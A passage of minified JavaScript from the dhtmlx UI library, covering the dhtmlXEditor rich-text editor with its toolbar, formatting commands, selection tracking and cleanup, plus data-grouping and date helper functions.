l=0;l<c.conf.evs.length;l++){a.contentWindow.addEventListener(c.conf.evs[l],c._ev,false)}}}else{a.onreadystatechange=function(l){if(typeof(a.readyState)!=\"undefined\"&&a.readyState==\"complete\"){try{for(var m=0;m<c.conf.evs.length;m++){a.contentWindow.document.body.attachEvent(\"on\"+c.conf.evs[m],c._ev)}}catch(n){}}}}this._ev=function(m){m=m||event;var l=m.type;if(c.conf.iOSfix==true&&l==\"touchend\"){c.editor.contentWindow.focus();return}c.callEvent(\"onAccess\",[l,m]);if(typeof(c._doOnAccess)==\"function\"){c._doOnAccess(l,m)}else{if(typeof(c._doOnAccess)==\"string\"&&typeof(window[c._doOnAccess])==\"function\"){window[c._doOnAccess](l,m)}}};this._focus=function(){if(window.dhx4.isIE){this.editor.contentWindow.document.body.focus()}else{this.editor.contentWindow.focus()}};this.cell.attachObject(this.editor);this.edWin=this.editor.contentWindow;this.edDoc=this.edWin.document;this._prepareContent=function(n,q){var m=\"\";if(n===true&&this.getContent!=null){m=this.getContent()}var l=this.editor.contentWindow.document;l.open(\"text/html\",\"replace\");if(window.dhx4.isOpera){l.write(\"<html><head><style> html, body { overflow:auto;-webkit-overflow-scrolling: touch; padding:0px; height:100%; margin:0px; font-family:Tahoma; font-size:12px; background-color:#ffffff;} </style></head><body \"+(q!==true?\"contenteditable='true'\":\"\")+\" tabindex='0'></body></html>\")}else{if(window.dhx4.isKHTML){l.write(\"<html><head><style> html {overflow-x: auto;-webkit-overflow-scrolling: touch; overflow-y: auto;} body { overflow: auto; overflow-y: scroll;} html,body { padding:0px; height:100%; margin:0px; font-family:Tahoma; font-size:12px; background-color:#ffffff;} </style></head><body \"+(q!==true?\"contenteditable='true'\":\"\")+\" tabindex='0'></body></html>\")}else{if(window.dhx4.isIE){l.write(\"<html><head><style> html {overflow-y: auto;} body {overflow-y: scroll;-webkit-overflow-scrolling: touch;} html,body { overflow-x: auto; padding:0px; height:100%; margin:0px; font-family:Tahoma; font-size:12px; background-color: #ffffff; outline: none; } </style></head><body \"+(q!==true?\"contenteditable='true'\":\"\")+\" tabindex='0'></body></html>\")}else{l.write(\"<html><head><style> html,body { overflow-x: auto; overflow-y:-webkit-overflow-scrolling: touch; scroll; padding:0px; height:100%; margin:0px; font-family:Tahoma; font-size:12px; background-color:#ffffff;} </style></head><body \"+(q!==true?\"contenteditable='true'\":\"\")+\" tabindex='0'></body></html>\")}}}l.close();if(window.dhx4.isIE){l.contentEditable=(q!==true)}else{l.designMode=(q!==true?\"On\":\"Off\")}if(window.dhx4.isFF){try{l.execCommand(\"useCSS\",false,true)}catch(o){}}if(n===true&&this.setContent!=null){this.setContent(m)}};this._prepareContent();this._doOnResize=function(){window.clearTimeout(c.conf.resizeTM);c.conf.resizeTM=window.setTimeout(function(){if(c.setSizes){c.setSizes()}},c.conf.resizeTMTime)};this._runCommand=function(n,q){if(this.conf.roMode===true){return}if(arguments.length<2){q=null}if(window.dhx4.isIE){this.edWin.focus()}try{var m=this.editor.contentWindow.document;m.execCommand(n,false,q)}catch(o){}if(window.dhx4.isIE){this.edWin.focus();var l=this;window.setTimeout(function(){l.edWin.focus();l=null},1)}};this.applyBold=function(){this._runCommand(\"Bold\")};this.applyItalic=function(){this._runCommand(\"Italic\")};this.applyUnderscore=function(){this._runCommand(\"Underline\")};this.clearFormatting=function(){this._runCommand(\"RemoveFormat\");var l=this.getContent();l=l.replace(/<\\/?h\\d>/gi,\"\");this.setContent(l)};this._doOnClick=function(n){var m=n||window.event;var l=m.target||m.srcElement;c._showInfo(l)};this._doOnMouseDown=function(n){var m=n||window.event;var l=m.target||m.srcElement;c._showInfo(l)};this._doOnKeyUp=function(o){var n=o||window.event;var l=n.keyCode;var m=n.target||n.srcElement;if({37:1,38:1,39:1,40:1,13:1}[l]==1){c._showInfo(m)}};this._getParentByTag=function(l,n){n=n.toLowerCase();var m=l;do{if(n==\"\"||m.nodeName.toLowerCase()==n){return m}}while(m=m.parentNode);return l};this._isStyleProperty=function(m,q,l,o){q=q.toLowerCase();var r=m;do{if((r.nodeName.toLowerCase()==q)&&(r.style[l]==o)){return true}}while(r=r.parentNode);return false};this._setStyleProperty=function(l,o){this.style[o]=false;var m=this._getParentByTag(l,o);if(m&&(m.tagName.toLowerCase()==o)){this.style[o]=true}if(o==\"del\"&&this._getParentByTag(l,\"strike\")&&this._getParentByTag(l,\"strike\").tagName.toLowerCase()==\"strike\"){this.style.del=true}};this._showInfo=function(m){var m=(this._getSelectionBounds().end)?this._getSelectionBounds().end:m;if(!m||!this._setStyleProperty){return}try{if(this.edWin.getComputedStyle){var l=this.edWin.getComputedStyle(m,null);var n=((l.getPropertyValue(\"font-weight\")==401)?700:l.getPropertyValue(\"font-weight\"));this.style={fontStyle:l.getPropertyValue(\"font-style\"),fontSize:l.getPropertyValue(\"font-size\"),textDecoration:l.getPropertyValue(\"text-decoration\"),fontWeight:n,fontFamily:l.getPropertyValue(\"font-family\"),textAlign:l.getPropertyValue(\"text-align\")};if(window.dhx4.isKHTML){this.style.fontStyle=l.getPropertyValue(\"font-style\");this.style.vAlign=l.getPropertyValue(\"vertical-align\");this.style.del=this._isStyleProperty(m,\"span\",\"textDecoration\",\"line-through\");this.style.u=this._isStyleProperty(m,\"span\",\"textDecoration\",\"underline\")}}else{var l=m.currentStyle;this.style={fontStyle:l.fontStyle,fontSize:l.fontSize,textDecoration:l.textDecoration,fontWeight:l.fontWeight,fontFamily:l.fontFamily,textAlign:l.textAlign}}this._setStyleProperty(m,\"h1\");this._setStyleProperty(m,\"h2\");this._setStyleProperty(m,\"h3\");this._setStyleProperty(m,\"h4\");if(!window.dhx4.isKHTML){this._setStyleProperty(m,\"del\");this._setStyleProperty(m,\"sub\");this._setStyleProperty(m,\"sup\");this._setStyleProperty(m,\"u\")}this.callEvent(\"onFocusChanged\",[this.style,l])}catch(o){return null}};this._getSelectionBounds=function(){var q,n,s,m;if(this.edWin.getSelection){var r=this.edWin.getSelection();if(window.dhx4.isEdge&&r.rangeCount==0){return{root:null,start:null,end:null}}q=r.getRangeAt(r.rangeCount-1);s=q.startContainer;m=q.endContainer;n=q.commonAncestorContainer;if(s.nodeName==\"#text\"){n=n.parentNode}if(s.nodeName==\"#text\"){s=s.parentNode}if(s.nodeName.toLowerCase()==\"body\"){s=s.firstChild}if(m.nodeName==\"#text\"){m=m.parentNode}if(m.nodeName.toLowerCase()==\"body\"){m=m.lastChild}if(s==m){n=s}return{root:n,start:s,end:m}}else{if(this.edWin.document.selection){q=this.edDoc.selection.createRange();if(!q.duplicate){return null}n=q.parentElement();var o=q.duplicate();var l=q.duplicate();o.collapse(true);l.moveToElementText(o.parentElement());l.setEndPoint(\"EndToStart\",o);s=o.parentElement();o=q.duplicate();l=q.duplicate();l.collapse(false);o.moveToElementText(l.parentElement());o.setEndPoint(\"StartToEnd\",l);m=l.parentElement();if(s.nodeName.toLowerCase()==\"body\"){s=s.firstChild}if(m.nodeName.toLowerCase()==\"body\"){m=m.lastChild}if(s==m){n=s}return{root:n,start:s,end:m}}}return null};this.getContent=function(){if(!this.edDoc.body){return\"\"}else{if(window.dhx4.isFF){return this.editor.contentWindow.document.body.innerHTML.replace(/<\\/{0,}br\\/{0,}>\\s{0,}$/gi,\"\")}if(window.dhx4.isIE&&this.edDoc.body.innerText.length==0){return\"\"}return this.edDoc.body.innerHTML}};this.setContent=function(n){n=n||\"\";if(this.edDoc.body){var m=false;if(window.dhx4.isFF){var l=navigator.userAgent.match(/Firefox\\/(\\d*)/);m=(l!=null&&l[1]<28)}if(m){if(typeof(this.conf.ffTest)==\"undefined\"){this.editor.contentWindow.document.body.innerHTML=\"\";this._runCommand(\"InsertHTML\",\"test\");this.conf.ffTest=(this.editor.contentWindow.document.body.innerHTML.length>0)}if(this.conf.ffTest){this.editor.contentWindow.document.body.innerHTML=n}else{this.editor.contentWindow.document.body.innerHTML=\"\";if(n.length==0){n=\" \"}this._runCommand(\"InsertHTML\",n)}}else{this.editor.contentWindow.document.body.innerHTML=n}this.callEvent(\"onContentSet\",[])}else{if(!this.conf.firstLoadEv){this.conf.firstLoadEv=true;this.conf.firstLoadData=n;this._onFirstLoad=function(){c.setContent(c.conf.firstLoadData);if(typeof(window.addEventListener)==\"function\"){c.edWin.removeEventListener(\"load\",c._onFirstLoad,false)}else{c.edWin.detachEvent(\"onload\",c._onFirstLoad)}c.conf.firstLoadData=null;c.conf.firstLoadEv=false;c._onFirstLoad=null};if(typeof(window.addEventListener)==\"function\"){this.edWin.addEventListener(\"load\",this._onFirstLoad,false)}else{this.edWin.attachEvent(\"onload\",this._onFirstLoad)}}}};this.setContentHTML=function(l){window.dhx4.ajax.get(l,function(m){if(m.xmlDoc.responseText!=null){c.setContent(m.xmlDoc.responseText)}})};window.dhx4._eventable(this);this.attachEvent(\"onFocusChanged\",function(l){if(typeof(this._doOnFocusChanged)==\"function\"){this._doOnFocusChanged(l)}else{if(typeof(this._doOnFocusChanged)==\"string\"&&typeof(window[this._doOnFocusChanged])==\"function\"){window[this._doOnFocusChanged](l)}}});if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"resize\",this._doOnResize,false);this.edDoc.addEventListener(\"click\",this._doOnClick,false);this.edDoc.addEventListener(\"keyup\",this._doOnKeyUp,false);if(window.dhx4.isOpera){this.edDoc.addEventListener(\"mousedown\",this._doOnMouseDown,false)}}else{window.attachEvent(\"onresize\",this._doOnResize);this.edDoc.attachEvent(\"onclick\",this._doOnClick);this.edDoc.attachEvent(\"onkeyup\",this._doOnKeyUp)}this.unload=function(){if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"resize\",this._doOnResize,false);this.edDoc.removeEventListener(\"click\",this._doOnClick,false);this.edDoc.removeEventListener(\"keyup\",this._doOnKeyUp,false);if(window.dhx4.isOpera){this.edDoc.removeEventListener(\"mousedown\",this._doOnMouseDown,false)}for(var l=0;l<c.conf.evs.length;l++){a.contentWindow.removeEventListener(c.conf.evs[l],c._ev,false)}if(this.tb!=null&&this.conf.iOSfix==true){this.tb.cont.removeEventListener(\"touchend\",this._doOnIOSFix,false);this._doOnIOSFix=null}}else{window.detachEvent(\"onresize\",this._doOnResize,false);this.edDoc.detachEvent(\"onclick\",this._doOnClick);this.edDoc.detachEvent(\"onkeyup\",this._doOnKeyUp);for(var l=0;l<c.conf.evs.length;l++){a.contentWindow.document.body.detachEvent(\"on\"+c.conf.evs[l],c._ev)}}this._doOnAccess=null;this._doOnFocusChanged=null;if(typeof(window.addEventListener)==\"function\"){this.editor.onload=null}else{this.editor.onreadystatechange=null}this.editor.parentNode.removeChild(this.editor);this.editor=null;this.edDoc=null;this.edWin=null;this.cell._unload();this.cell=null;this.tb=null;window.dhx4._eventable(this,\"clear\");this.cBlock.parentNode.removeChild(this.cBlock);this.cBlock=null;this.base.className=String(this.base.className).replace(new RegExp(\"\\\\s{0,}dhxeditor_\"+this.conf.skin),\"\");while(this.base.childNodes.length>0){this.base.removeChild(this.base.childNodes[0])}this.base=null;this._doOnClick=null;this._doOnKeyUp=null;this._doOnMouseDown=null;this._ev=null;this._focus=null;this._prepareContent=null;this._doOnResize=null;this.setIconsPath=null;this.init=null;this.setSizes=null;this._runCommand=null;this.applyBold=null;this.applyItalic=null;this.applyUnderscore=null;this.clearFormatting=null;this._showInfo=null;this._getSelectionBounds=null;this.getContent=null;this.setContent=null;this.setContentHTML=null;this.setReadonly=null;this.isReadonly=null;this.unload=null;c=a=null};if(this.conf.toolbar==true&&typeof(this.attachToolbar)==\"function\"&&typeof(window.dhtmlXToolbarObject)==\"function\"){this.attachToolbar(this.conf.iconsPath);if(this.conf.iOSfix==true){this._doOnIOSFix=function(){c.editor.contentWindow.focus()};this.tb.cont.addEventListener(\"touchend\",this._doOnIOSFix,false)}}this.setIconsPath=function(l){this.conf.iconsPath=l};if(this.conf.content.length>0){this.setContent(this.conf.content);this.conf.content=\"\"}else{if(this.conf.contentHTML.length>0){this.setContentHTML(this.conf.contentHTML);this.conf.contentHTML=\"\"}}return this}dhtmlXEditor.prototype.setSizes=function(){this.cell._setSize(0,0,this.base.clientWidth,this.base.clientHeight);if(this.editor!=null){this.editor.style.left=\"5px\";this.editor.style.width=this.base.clientWidth-5+\"px\"}};dhtmlXEditor.prototype.setReadonly=function(a){this.conf.roMode=(a===true);this._prepareContent(true,this.conf.roMode);this.cBlock.style.display=(this.conf.roMode?\"\":\"none\")};dhtmlXEditor.prototype.isReadonly=function(a){return(this.conf.roMode||false)};dhtmlXEditor.prototype.setSkin=function(a){this.base.className=String(this.base.className).replace(new RegExp(\"dhxeditor_\"+this.conf.skin),\"dhxeditor_\"+a);this.conf.skin=this.cell.conf.skin=a;if(this.tb){this.cell.detachToolbar(a);this.tb=null;this.attachToolbar()}this.setSizes()};window.dhtmlXEditorCell=function(e,a){dhtmlXCellObject.apply(this,[e,\"_editor\"]);var c=this;this.editor=a;this.conf.skin=this.editor.conf.skin;this.attachEvent(\"_onCellUnload\",function(){this._stbUnload();this.editor=null;c=null});this._stbInit();return this};dhtmlXEditorCell.prototype=new dhtmlXCellObject();dhtmlXEditorCell.prototype._stbInit=function(){var l=this;var h=document.createElement(\"DIV\");h.className=\"dhx_cell_stb\";this.cell.insertBefore(h,this.cell.childNodes[this.conf.idx.cont]);h.onselectstart=function(a){a=a||event;a.cancelBubble=true;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}return false};var g={bold:\"applyBold\",italic:\"applyItalic\",underline:\"applyUnderscore\",clearformat:\"clearFormatting\"};for(var e in g){var c=document.createElement(\"A\");c.href=\"javascript:void(0);\";c.tabIndex=-1;h.appendChild(c);c.onmousedown=c.onclick=function(a){a=a||event;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}return false};var m=document.createElement(\"DIV\");m.className=\"dhx_cell_stb_button btn_\"+e;m._actv=e.charAt(0);m._cmd=g[e];c.appendChild(m);m.onclick=function(a){a=a||event;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}return false};m.onmousedown=function(a){a=a||event;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}l.editor[this._cmd]();l.editor.callEvent(\"onToolbarClick\",[this._actv])};m=c=null}h=null;this._stbUnload=function(){var a=this.cell.childNodes[this.conf.idx.stb];a.onselectstart=null;while(a.childNodes.length>0){a.lastChild.onmousedown=a.lastChild.onclick=null;a.lastChild.firstChild.onmousedown=a.lastChild.firstChild.onclick=null;a.lastChild.firstChild._actv=a.lastChild.firstChild._cmd=null;a.lastChild.removeChild(a.lastChild.firstChild);a.removeChild(a.lastChild)}a.parentNode.removeChild(a);a=l=null;this.conf.idx_data.stb=this.conf.ofs_nodes.t._getStbHeight=null;delete this.conf.ofs_nodes.t._getStbHeight;delete this.conf.idx_data.stb;this._updateIdx()};this.conf.ofs_nodes.t._getStbHeight=\"func\";this.conf.idx_data.stb=\"dhx_cell_stb\";this._updateIdx()};dhtmlXEditorCell.prototype._stbHide=function(){this.cell.childNodes[this.conf.idx.stb].style.display=\"none\"};dhtmlXEditorCell.prototype._getStbHeight=function(){return this.cell.childNodes[this.conf.idx.stb].offsetHeight};dhtmlXCellObject.prototype.attachEditor=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"editor\"]);var e=document.createElement(\"DIV\");e.style.width=\"100%\";e.style.height=\"100%\";e.style.position=\"relative\";e.style.overflow=\"hidden\";this._attachObject(e);if(!(typeof(a)==\"object\"&&a!=null)){a={}}a.parent=e;this.dataType=\"editor\";this.dataObj=new dhtmlXEditor(a);e=null;a.parent=null;a=null;if(typeof(window.dhtmlXPortalCell)!=\"undefined\"&&this instanceof window.dhtmlXPortalCell){if(this.portal.conf.editor_ev==null){var g=this.portal.attachEvent(\"onBeforeDrag\",function(h){if(this.cdata[h].dataType==\"editor\"){this.cdata[h].conf.editor_cont=this.cdata[h].dataObj.getContent()}return true});var c=this.portal.attachEvent(\"onDrop\",function(h){if(this.cdata[h].dataType==\"editor\"){this.cdata[h].dataObj.setContent(this.cdata[h].conf.editor_cont);this.cdata[h].dataObj._prepareContent(true);this.cdata[h].conf.editor_cont=null}});this.portal.conf.editor_ev=[g,c]}this.conf.editor_ev=this.attachEvent(\"_onBeforeContentDetach\",function(){this.detachEvent(this.conf.editor_ev);this.conf.editor_ev=null;if(this instanceof window.dhtmlXPortalCell){var l=false;for(var h in this.portal.cdata){if(this.portal.cdata[h]!=this&&this.portal.cdata[h].dataType==\"editor\"){l=true}}if(l==false){for(var m=0;m<this.portal.conf.editor_ev.length;m++){this.portal.detachEvent(this.portal.conf.editor_ev[m])}this.portal.conf.editor_ev=null}}})}this.callEvent(\"_onContentAttach\",[]);return this.dataObj};dhtmlXEditor.prototype.attachToolbar=function(c){if(this.tb!=null){return}if(c!=null){this.conf.iconsPath=c}this.cell._stbHide();this.tb=this.cell.attachToolbar({icons_path:this.conf.iconsPath+\"/dhxeditor_\"+String(this.conf.skin).replace(/^dhx_/,\"\")+\"/\",skin:this.conf.skin});this.setSizes();this._availFonts=new Array(\"Arial\",\"Arial Narrow\",\"Comic Sans MS\",\"Courier\",\"Georgia\",\"Impact\",\"Tahoma\",\"Times New Roman\",\"Verdana\");this._initFont=this._availFonts[0];this._xmlFonts=\"\";for(var l=0;l<this._availFonts.length;l++){var g=String(this._availFonts[l]).replace(/\\s/g,\"_\");this._xmlFonts+='<item type=\"button\" id=\"applyFontFamily:'+g+'\"><itemText><![CDATA[<img src=\"'+this.tb.imagePath+\"font_\"+String(g).toLowerCase()+'.gif\" border=\"0\" style=\"/*margin-top:1px;margin-bottom:1px;*/width:110px;height:16px;\">]]></itemText></item>'}this._availSizes={\"1\":\"8pt\",\"2\":\"10pt\",\"3\":\"12pt\",\"4\":\"14pt\",\"5\":\"18pt\",\"6\":\"24pt\",\"7\":\"36pt\"};this._xmlSizes=\"\";for(var e in this._availSizes){this._xmlSizes+='<item type=\"button\" id=\"applyFontSize:'+e+\":\"+this._availSizes[e]+'\" text=\"'+this._availSizes[e]+'\"/>'}this.tbXML='<toolbar><item id=\"applyH1\" type=\"buttonTwoState\" img=\"h1.gif\" imgdis=\"h4_dis.gif\" title=\"H1\"/><item id=\"applyH2\" type=\"buttonTwoState\" img=\"h2.gif\" imgdis=\"h4_dis.gif\" title=\"H2\"/><item id=\"applyH3\" type=\"buttonTwoState\" img=\"h3.gif\" imgdis=\"h4_dis.gif\" title=\"H3\"/><item id=\"applyH4\" type=\"buttonTwoState\" img=\"h4.gif\" imgdis=\"h4_dis.gif\" title=\"H4\"/><item id=\"separ01\" type=\"separator\"/><item id=\"applyBold\" type=\"buttonTwoState\" img=\"bold.gif\" imgdis=\"bold_dis.gif\" title=\"Bold Text\"/><item id=\"applyItalic\" type=\"buttonTwoState\" img=\"italic.gif\" imgdis=\"italic_dis.gif\" title=\"Italic Text\"/><item id=\"applyUnderscore\" type=\"buttonTwoState\" img=\"underline.gif\" imgdis=\"underline_dis.gif\" title=\"Underscore Text\"/><item id=\"applyStrikethrough\" type=\"buttonTwoState\" img=\"strike.gif\" imgdis=\"strike_dis.gif\" title=\"Strikethrough Text\"/><item id=\"separ02\" type=\"separator\"/><item id=\"alignLeft\" type=\"buttonTwoState\" img=\"align_left.gif\" imgdis=\"align_left_dis.gif\" title=\"Left Alignment\"/><item id=\"alignCenter\" type=\"buttonTwoState\" img=\"align_center.gif\" imgdis=\"align_center_dis.gif\" title=\"Center Alignment\"/><item id=\"alignRight\" type=\"buttonTwoState\" img=\"align_right.gif\" imgdis=\"align_right_dis.gif\" title=\"Right Alignment\"/><item id=\"alignJustify\" type=\"buttonTwoState\" img=\"align_justify.gif\" title=\"Justified Alignment\"/><item id=\"separ03\" type=\"separator\"/><item id=\"applySub\" type=\"buttonTwoState\" img=\"script_sub.gif\" imgdis=\"script_sub.gif\" title=\"Subscript\"/><item id=\"applySuper\" type=\"buttonTwoState\" img=\"script_super.gif\" imgdis=\"script_super_dis.gif\" title=\"Superscript\"/><item id=\"separ04\" type=\"separator\"/><item id=\"createNumList\" type=\"button\" img=\"list_number.gif\" imgdis=\"list_number_dis.gif\" title=\"Number List\"/><item id=\"createBulList\" type=\"button\" img=\"list_bullet.gif\" imgdis=\"list_bullet_dis.gif\" title=\"Bullet List\"/><item id=\"separ05\" type=\"separator\"/><item id=\"increaseIndent\" type=\"button\" img=\"indent_inc.gif\" imgdis=\"indent_inc_dis.gif\" title=\"Increase Indent\"/><item id=\"decreaseIndent\" type=\"button\" img=\"indent_dec.gif\" imgdis=\"indent_dec_dis.gif\" title=\"Decrease Indent\"/><item id=\"separ06\" type=\"separator\"/><item id=\"clearFormatting\" type=\"button\" img=\"clear.gif\" title=\"Clear Formatting\"/></toolbar>';this.tb.loadStruct(this.tbXML);this._checkAlign=function(a){this.tb.setItemState(\"alignCenter\",false);this.tb.setItemState(\"alignRight\",false);this.tb.setItemState(\"alignJustify\",false);this.tb.setItemState(\"alignLeft\",false);if(a){this.tb.setItemState(a,true)}};this._checkH=function(a){this.tb.setItemState(\"applyH1\",false);this.tb.setItemState(\"applyH2\",false);this.tb.setItemState(\"applyH3\",false);this.tb.setItemState(\"applyH4\",false);if(a){this.tb.setItemState(a,true)}};this._doOnFocusChanged=function(n){if(!n.h1&&!n.h2&&!n.h3&&!n.h4){var a=(String(n.fontWeight).search(/bold/i)!=-1)||(Number(n.fontWeight)>=700);this.tb.setItemState(\"applyBold\",a)}else{this.tb.setItemState(\"applyBold\",false)}var m=\"alignLeft\";if(String(n.textAlign).search(/center/)!=-1){m=\"alignCenter\"}if(String(n.textAlign).search(/right/)!=-1){m=\"alignRight\"}if(String(n.textAlign).search(/justify/)!=-1){m=\"alignJustify\"}this.tb.setItemState(m,true);this._checkAlign(m);this.tb.setItemState(\"applyH1\",n.h1);this.tb.setItemState(\"applyH2\",n.h2);this.tb.setItemState(\"applyH3\",n.h3);this.tb.setItemState(\"applyH4\",n.h4);if(window._KHTMLrv){n.sub=(n.vAlign==\"sub\");n.sup=(n.vAlign==\"super\")}this.tb.setItemState(\"applyItalic\",(n.fontStyle==\"italic\"));this.tb.setItemState(\"applyStrikethrough\",n.del);this.tb.setItemState(\"applySub\",n.sub);this.tb.setItemState(\"applySuper\",n.sup);this.tb.setItemState(\"applyUnderscore\",n.u)};this._doOnToolbarClick=function(m){var a=String(m).split(\":\");if(this[a[0]]!=null){if(typeof(this[a[0]])==\"function\"){this[a[0]](a[1]);this.callEvent(\"onToolbarClick\",[m])}}};this._doOnStateChange=function(m,a){this[m]();switch(m){case\"alignLeft\":case\"alignCenter\":case\"alignRight\":case\"alignJustify\":this._checkAlign(m);break;case\"applyH1\":case\"applyH2\":case\"applyH3\":case\"applyH4\":this._checkH(m);break}this.callEvent(\"onToolbarClick\",[m])};this._doOnBeforeStateChange=function(m,a){if((m==\"alignLeft\"||m==\"alignCenter\"||m==\"alignRight\"||m==\"alignJustify\")&&a==true){return false}return true};var h=this;this.tb.attachEvent(\"onClick\",function(a){h._doOnToolbarClick(a)});this.tb.attachEvent(\"onStateChange\",function(m,a){h._doOnStateChange(m,a)});this.tb.attachEvent(\"onBeforeStateChange\",function(m,a){return h._doOnBeforeStateChange(m,a)});this.applyBold=function(){this._runCommand(\"Bold\")};this.applyItalic=function(){this._runCommand(\"Italic\")};this.applyUnderscore=function(){this._runCommand(\"Underline\")};this.applyStrikethrough=function(){this._runCommand(\"StrikeThrough\")};this.alignLeft=function(){this._runCommand(\"JustifyLeft\")};this.alignRight=function(){this._runCommand(\"JustifyRight\")};this.alignCenter=function(){this._runCommand(\"JustifyCenter\")};this.alignJustify=function(){this._runCommand(\"JustifyFull\")};this.applySub=function(){this._runCommand(\"Subscript\")};this.applySuper=function(){this._runCommand(\"Superscript\")};this.applyH1=function(){this._runCommand(\"FormatBlock\",\"<H1>\")};this.applyH2=function(){this._runCommand(\"FormatBlock\",\"<H2>\")};this.applyH3=function(){this._runCommand(\"FormatBlock\",\"<H3>\")};this.applyH4=function(){this._runCommand(\"FormatBlock\",\"<H4>\")};this.createNumList=function(){this._runCommand(\"InsertOrderedList\")};this.createBulList=function(){this._runCommand(\"InsertUnorderedList\")};this.increaseIndent=function(){this._runCommand(\"Indent\")};this.decreaseIndent=function(){this._runCommand(\"Outdent\")};this.clearFormatting=function(){this._runCommand(\"RemoveFormat\");this.tb.setItemState(\"applyBold\",false);this.tb.setItemState(\"applyItalic\",false);this.tb.setItemState(\"applyStrikethrough\",false);this.tb.setItemState(\"applySub\",false);this.tb.setItemState(\"applySuper\",false);this.tb.setItemState(\"applyUnderscore\",false);var a=this.getContent();a=a.replace(/<\\/?h\\d>/gi,\"\");this.setContent(a)}};dhtmlx.Group={_init:function(){dhtmlx.assert(this.data,\"DataStore required for grouping\");this.data.attachEvent(\"onStoreLoad\",dhtmlx.bind(function(){if(this._settings.group){this.group(this._settings.group,false)}},this));this.attachEvent(\"onBeforeRender\",dhtmlx.bind(function(a){if(this._settings.sort){a.block();a.sort(this._settings.sort);a.unblock()}},this));this.data.attachEvent(\"onClearAll\",dhtmlx.bind(function(){this.data._not_grouped_order=this.data._not_grouped_pull=null},this));this.attachEvent(\"onBeforeSort\",dhtmlx.bind(function(){this._settings.sort=null},this))},_init_group_data_event:function(c,a){c.attachEvent(\"onClearAll\",dhtmlx.bind(function(){this.ungroup(false);this.block();this.clearAll();this.unblock()},a))},sum:function(c,a){c=dhtmlx.Template.setter(c);a=a||this.data;var e=0;a.each(function(g){e+=c(g)*1});return e},min:function(e,c){e=dhtmlx.Template.setter(e);c=c||this.data;var a=Infinity;c.each(function(g){if(e(g)*1<a){a=e(g)*1}});return a*1},max:function(e,c){e=dhtmlx.Template.setter(e);c=c||this.data;var a=-Infinity;c.each(function(g){if(e(g)*1>a){a=e(g)*1}});return a},_split_data_by:function(l){var n=function(r,q){r=dhtmlx.Template.setter(r);return r(q[0])};var o=dhtmlx.Template.setter(l.by);if(!l.map[o]){l.map[o]=[o,n]}var e={};var m=[];this.data.each(function(q){var r=o(q);if(!e[r]){m.push({id:r});e[r]=dhtmlx.toArray()}e[r].push(q)});for(var a in l.map){var h=(l.map[a][1]||n);if(typeof h!=\"function\"){h=this[h]}for(var g=0;g<m.length;g++){m[g][a]=h.call(this,l.map[a][0],e[m[g].id])}}this.data._not_grouped_order=this.data.order;this.data._not_grouped_pull=this.data.pull;this.data.order=dhtmlx.toArray();this.data.pull={};for(var g=0;g<m.length;g++){var c=this.data.id(m[g]);this.data.pull[c]=m[g];this.data.order.push(c)}this.callEvent(\"onStoreUpdated\",[])},group:function(a,c){this.ungroup(false);this._split_data_by(a);if(c!==false){this.data.callEvent(\"onStoreUpdated\",[])}},ungroup:function(a){if(this.data._not_grouped_order){this.data.order=this.data._not_grouped_order;this.data.pull=this.data._not_grouped_pull;this.data._not_grouped_pull=this.data._not_grouped_order=null}if(a!==false){this.data.callEvent(\"onStoreUpdated\",[])}},group_setter:function(a){dhtmlx.assert(typeof a==\"object\",\"Incorrect group value\");dhtmlx.assert(a.by,\"group.by is mandatory\");dhtmlx.assert(a.map,\"group.map is mandatory\");return a},sort_setter:function(a){if(typeof a!=\"object\"){a={by:a}}this._mergeSettings(a,{as:\"string\",dir:\"asc\"});return a}};dhtmlx.Date={Locale:{month_full:[\"January\",\"February\",\"March\",\"April\",\"May\",\"June\",\"July\",\"August\",\"September\",\"October\",\"November\",\"December\"],month_short:[\"Jan\",\"Feb\",\"Mar\",\"Apr\",\"May\",\"Jun\",\"Jul\",\"Aug\",\"Sep\",\"Oct\",\"Nov\",\"Dec\"],day_full:[\"Sunday\",\"Monday\",\"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\"],day_short:[\"Sun\",\"Mon\",\"Tue\",\"Wed\",\"Thu\",\"Fri\",\"Sat\"]},date_part:function(a){a.setHours(0);a.setMinutes(0);a.setSeconds(0);a.setMilliseconds(0);return a},time_part:function(a){return(a.valueOf()/1000-a.getTimezoneOffset()*60)%86400},week_start:function(c){var a=c.getDay();if(this.config.start_on_monday){if(a===0){a=6}else{a--}}return this.date_part(this.add(c,-1*a,\"day\"))},month_start:function(a){a.setDate(1);return this.date_part(a)},year_start:function(a){a.setMonth(0);return this.month_start(a)},day_start:function(a){return this.date_part(a)},add:function(c,e,g){var a=new Date(c.valueOf());switch(g){case\"day\":a.setDate(a.getDate()+e);break;case\"week\":a.setDate(a.getDate()+7*e);break;case\"month\":a.setMonth(a.getMonth()+e);break;case\"year\":a.setYear(a.getFullYear()+e);break;case\"hour\":a.setHours(a.getHours()+e);break;case\"minute\":a.setMinutes(a.getMinutes()+e);break;default:return dhtmlx.Date[\"add_\"+g](c,e,g)}return a},to_fixed:function(a){if(a<10){return\"0\"+a}return a},copy:function(a){return new 